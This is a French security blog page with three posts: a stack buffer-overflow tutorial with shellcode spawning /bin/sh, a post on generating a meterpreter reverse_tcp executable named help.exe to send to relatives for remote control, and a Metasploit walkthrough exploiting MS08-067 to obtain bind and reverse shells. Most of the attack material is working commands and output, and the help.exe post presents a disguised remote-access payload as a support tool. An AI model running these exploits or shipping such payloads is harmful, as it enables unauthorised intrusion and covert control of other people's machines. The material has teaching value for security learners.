Affichage des articles dont le libellé est metasploit. Afficher tous les articles
Affichage des articles dont le libellé est metasploit. Afficher tous les articles

samedi 23 avril 2011

Buffer Overflow

L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And Profit publié dans Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.

Prenons un programme d'exemple appelé buffer_overflow.c :

#include <stdio.h>
#include <stdlib.h>
 
void unused_function(void) {
   printf("Impossible => fonction non utilisee\n");
}
 
void f(const char *s) {
   int i = 1;
   char buffer[12];
   strcpy(buffer,s);
   printf("i = %u\n",i);
}
 
int main(int argc, char **argv) {
   if(argc != 2) {
      fprintf(stderr,"Usage: buffer_overflow chaine");
      exit(EXIT_FAILURE);
   }
   f(argv[1]);
 
   return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.

Regardons un peu l'exécution de ce programme :

# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545


Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50')

i = 1094795585

Erreur de segmentation (core dumped)
Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
   0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28
   0x080482ba <+6>: mov    DWORD PTR [ebp-0xc],0x1
   0x080482c1 <+13>: mov    eax,DWORD PTR [ebp+0x8]
   0x080482c4 <+16>: mov    DWORD PTR [esp+0x4],eax
   0x080482c8 <+20>: lea    eax,[ebp-0x18]
   0x080482cb <+23>: mov    DWORD PTR [esp],eax
   0x080482ce <+26>: call   0x80512a0 <strcpy>
   0x080482d3 <+31>: mov    eax,0x80ae90c
   0x080482d8 <+36>: mov    edx,DWORD PTR [ebp-0xc]
   0x080482db <+39>: mov    DWORD PTR [esp+0x4],edx
   0x080482df <+43>: mov    DWORD PTR [esp],eax
   0x080482e2 <+46>: call   0x8048e40 <printf>
   0x080482e7 <+51>: leave  
   0x080482e8 <+52>: ret    
End of assembler dump.
gdb$ b *0x080482ce   # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call   0x80512a0 <strcpy>
   0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11  strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
   0x80482db : mov    DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.


On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.
Lorsqu'on passe en argument 15 "A", on écrase la variable i avec 3 octets supplémentaires (donc 4 au total), i prend donc la valeur \x41\x41\x41\x00 soit la valeur 4276545 en little endian. La valeur 1094795585 ne correspond qu'à des \x41 sur tous les octets.

Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.

time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb$ info register eip     # ou sa version light : i r eip
eip            0x41414141 0x41414141

Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.

time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x18
   0x080482a6 <+6>: mov    DWORD PTR [esp],0x80ae8e8
   0x080482ad <+13>: call   0x8048fd0 <puts>
   0x080482b2 <+18>: leave  
   0x080482b3 <+19>: ret    
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)


Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482e9 <+0>: push   ebp
   0x080482ea <+1>: mov    ebp,esp
   0x080482ec <+3>: and    esp,0xfffffff0
   0x080482ef <+6>: sub    esp,0x10
   0x080482f2 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080482f6 <+13>: je     0x804832c <main+67>
   0x080482f8 <+15>: mov    eax,ds:0x80ce624
   0x080482fd <+20>: mov    edx,eax
   0x080482ff <+22>: mov    eax,0x80ae914
   0x08048304 <+27>: mov    DWORD PTR [esp+0xc],edx
   0x08048308 <+31>: mov    DWORD PTR [esp+0x8],0x1d
   0x08048310 <+39>: mov    DWORD PTR [esp+0x4],0x1
   0x08048318 <+47>: mov    DWORD PTR [esp],eax
   0x0804831b <+50>: call   0x8048e70 <fwrite>
   0x08048320 <+55>: mov    DWORD PTR [esp],0x1
   0x08048327 <+62>: call   0x8048c20 <exit>
   0x0804832c <+67>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804832f <+70>: add    eax,0x4
   0x08048332 <+73>: mov    eax,DWORD PTR [eax]
   0x08048334 <+75>: mov    DWORD PTR [esp],eax
   0x08048337 <+78>: call   0x80482b4 <f>
   0x0804833c <+83>: mov    eax,0x0    # Adresse de retour de f
   0x08048341 <+88>: leave  
   0x08048342 <+89>: ret    
End of assembler dump.
gdb$ b *0x80482ce    # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3    # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c   # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6   # On a modifié la valeur
gdb$ x/2i 0x080482a6
   0x80482a6 : mov    DWORD PTR [esp],0x80ae8e8
   0x80482ad : call   0x8048fd0 <puts>


La mémoire ressemble après le strcpy à cela :
Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de f :

0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28

40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.

Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).

Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0  0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc,char**argv) {
   char *addr;
   if(argc != 2) {
      printf("Usage: %s env_variable\n",argv[0]);
      exit(EXIT_FAILURE);
   }
   addr = getenv(argv[1]);
   if(addr == NULL) {
      printf("Environnement variable %s does not exist\n",argv[1]);
   } else {
      printf("%s is located at %p\n",argv[1],addr);
   }
 
   return EXIT_SUCCESS;
}

Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH
PATH is located at 0xbffffc15
Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :

# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8   # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d     # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
   0xbffffce8: nop
   0xbffffce9: nop
   0xbffffcea: nop
   0xbffffceb: nop
   0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90

L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.

samedi 27 novembre 2010

Metasploit : moyen d'administration ?

Régulièrement dans mon entourage on me demande de l'aide en informatique : "j'aimerais bien faire ça mais je ne sais pas faire", "ça ne marche pas", "je comprends pas"... La tâche est bien souvent difficile quand on fait cela par téléphone et qu'on n'a pas accès directement à l'ordinateur : le vocabulaire utilisé par la personne novice n'est pas le même, l'interprétation des évènement arrivant sur le PC non plus. L'idéal c'est de pouvoir prendre la main facilement sur le PC quand la personne en a besoin et non pas quand on le souhaite (on essaye quand même de faire de la sécurité).

Pour faire cela, bien entendu il est complètement impossible de demander à la personne d'installer un serveur VNC et encore moins de lui demander de reconfigurer sa box pour ouvrir (et rediriger) les ports qu'il faut. Je trouve que metasploit permet de répondre de façon élégante à ce problème.

L'idée est de créer dans un premier temps un exécutable que l'on enverra à la personne. Une fois que la personne exécutera ce programme, il se connectera directement à notre PC et nous pourrons grâce à cela prendre le contrôle du PC. Etant donné que c'est la personne qui se connecte chez nous (et non pas l'inverse), aucun besoin (en général) de reconfigurer sa box, uniquement la nôtre.

La création du programme se fait via l'utilitaire msfpayload qui permet de générer des payloads utilisés par metasploit. On va donc choisir la payload windows/meterpreter/reverse_tcp, qui est tout simplement un meterpreter qui se connectera sur notre machine. Il est nécessaire de spécifier 2 options à ce payload, la première est notre adresse IP et la deuxième et le port tcp sur lequel elle se connectera. Enfin le X à la fin de la commande permet de dire que l'on veut générer un exécutable windows.
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=4444 X &gt; help.exe
Il faut remplacer dans la ligne de commande $IP par votre IP. Le port utilisé est le port par défaut. Le fichier help.exe généré il suffit de l'envoyer à votre ami pour que celui ci puisse l'exécuter.

Bien entendu chez nous, il faut un programme qui soit en attente de la connexion. Celui-ci se lance via l'utilitaire msfcli (on pourrait le faire en console metaplsoit avec msfconsole) en utilisant l'exploit exploit/multi/handler.
time0ut# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP E
$IP doit bien entendu correspondre avec l'IP qui a été mise dans l'exécutable précédent.
Dès que la personne cliquera sur l'exécutable, il se connectera sur notre handler et une session meterpreter sera lancée. Ensuite il suffira de faire un simple run vnc pour avoir un écran VNC ou un simple shell pour avoir une invite de commande.

mardi 27 octobre 2009

Premiers pas avec Metasploit

Metasploit est un framework permettant le développement et l'exécution d'exploits. Son auteur principal est le célèbre chercheur en sécurité HD Moore.
Le Metasploit framework est un outil open source (redéveloppé en ruby depuis sa version 3) incontournable pour toutes les personnes voulant faire leurs premiers pas dans le monde du pentest. Il est comparable aux outils commerciaux que sont CANVAS de Immunity ou Core Impact, mais Metasploit a l'avantage d'être totalement gratuit et open source :) En tout cas pour le moment, étant donné qu'il vient d'être racheté par la société Rapid7. A priori les premières informations vont dans le sens de la continuité... espérons que cela soit réellement le cas.

Pour cet exemple j'utilise la version svn de metasploit. Un excellent cours est disponible sur le site de offensive security qui développe BackTrack et est disponible ici.
time0ut# svn co https://metasploit.com/svn/framework3/trunk
On accepte le certificat comme expliqué sur le site et le téléchargement commence. Metasploit arrive avec une base de données importante d'exploits (433 à l'heure ou j'écris ces lignes) et de payloads (262).
Il y a plusieurs façons d'utiliser cet outil : via une interface WEB, via une interface GTK, via une interface console, via la ligne de commande... Les interfaces WEB et GTK, bien que plus WAF ne sont pas exempt de bugs. Nous préfèrerons donc l'utilisation de l'interface console, plus aboutie et plus puissante. La ligne de commande servira pour l'automatisation par exemple et ne sera pas vue dans cet article.

Le lancement de l'interface console se fait grâce au script ruby msfconsole.
time0ut# ./msfconsole

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|


       =[ msf v3.3-beta [core:3.3 api:1.0]
+ -- --=[ 433 exploits - 262 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 209 aux

msf > 
A n'importe quel moment dans la console, il est possible d'utiliser la commande help pour avoir de l'aide.
Il est important de bien faire la différence entre l'exploit et le payload. L'exploit est le code qui va permettre d'exploiter la vulnérabilité. Le code qui va par exemple permettre d'arriver à faire un buffer overflow dans l'application cible. Le payload est quant à lui la charge utile que l'on va faire exécuter, comme par exemple l'ouverture d'un port sur la machine relié à un shell, la création d'un nouvel utilisateur ou encore l'ouverture d'une session VNC. Bien entendu tous les exploits ne permettent pas d'utiliser tous les payloads, mais metasploit se charge de nous dire quels sont les payloads possibles pour un exploit donné.

Dans cet exemple, nous allons utiliser la vulnérabilité découverte fin 2008, qui touche les machines Windows, la célèbre MS08-067 qui a été largement utilisée par le ver Conficker.

Pour cela, il faut trouver l'exploit, grâce à la commande search par exemple et le sélectionner avec la commande use.
msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...

Exploits
========

   Name                         Description
   ----                         -----------
   windows/smb/ms08_067_netapi  Microsoft Server Service Relative Path Stack Corruption

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 
Il est possible d'avoir des informations sur cet exploit avec la commande info.
msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi

       Name: Microsoft Server Service Relative Path Stack Corruption
    Version: 6865
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)

Provided by:
  hdm 
  Brett Moore 

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows XP SP2 English (NX)
  4   Windows XP SP3 English (NX)
...

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
  http://www.osvdb.org/49243
  http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
Chaque exploit peut nécessiter une configuration, qu'il est possible de voir avec la commande show options. Ici la variable RHOST doit être précisée. Elle représente l'adresse IP de la machine victime. Les autres variables ont des valeurs par défaut et peuvent être modifiées si besoin.
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(ms08_067_netapi) >
Maintenant il faut choisir le payload que l'on va utiliser. Les payloads disponibles pour cet exploit se trouvent avec la commande show payloads. Un multitude de payloads existent pour cet exploit, je n'en ai donc affiché que quelques uns. La sélection du payload se fait via la commande set PAYLOAD payload_a_utiliser. Enfin comme pour les exploits, les payloads nécessitent parfois une configuration que l'on peut toujours voir avec la commande show options.
msf exploit(ms08_067_netapi) > show payloads
...
   windows/shell/bind_tcp                           Windows Command Shell, Bind TCP Stager
   windows/shell/reverse_tcp                        Windows Command Shell, Reverse TCP Stager
...

msf exploit(ms08_067_netapi) > info windows/shell/bind_tcp

       Name: Windows Command Shell, Bind TCP Stager
    Version: 7075, 7075
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 298

Provided by:
  spoonm 
  sf 
  hdm 
  skape 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST                      no        The target address

Description:
  Listen for a connection, Spawn a piped command shell

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) >
La commande info nous permet de voir que tous les paramètres du payload sont renseignés. Il ne manque plus qu'à réellement lancer l'exploit, ce qui se fait avec la commande exploit ou run.
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.0.2:45290 -> 192.168.0.5:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned :)
Comme on peut le remarquer, l'exploit a fonctionné puisqu'on tombe sur un shell Windows :) Le payload windows/shell/bind_tcp a ouvert le port 4444 sur la machine victime, et metasploit c'est automatiquement connecté dessus.

Le problème c'est que beaucoup de machines sont derrière un équipement qui fait du NAT. Donc si le port ouvert sur la machine victime (ici 4444) n'est pas redirigé, impossible de prendre la main sur la machine...

Le payload windows/shell/reverse_tcp peut être beaucoup plus utile dans bien des cas comparé au payload windows/shell/bind_tcp. La différence est que le premier ne va pas ouvrir un port sur la machine victime mais va faire une connexion TCP sur l'adresse IP de la machine qui sera pointée par la variable LHOST (la machine qui utilise metasploit). Donc plutôt que la machine metasploit initie la connexion vers la machine victime, c'est la machine victime qui va initier la connexion vers la machine metasploit. Beaucoup plus pratique pour exploiter une machine qui se trouverait derrière un NAT ou un firewall ;)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.5     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.0.2:4444 -> 192.168.0.5:1033)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned again through NAT :)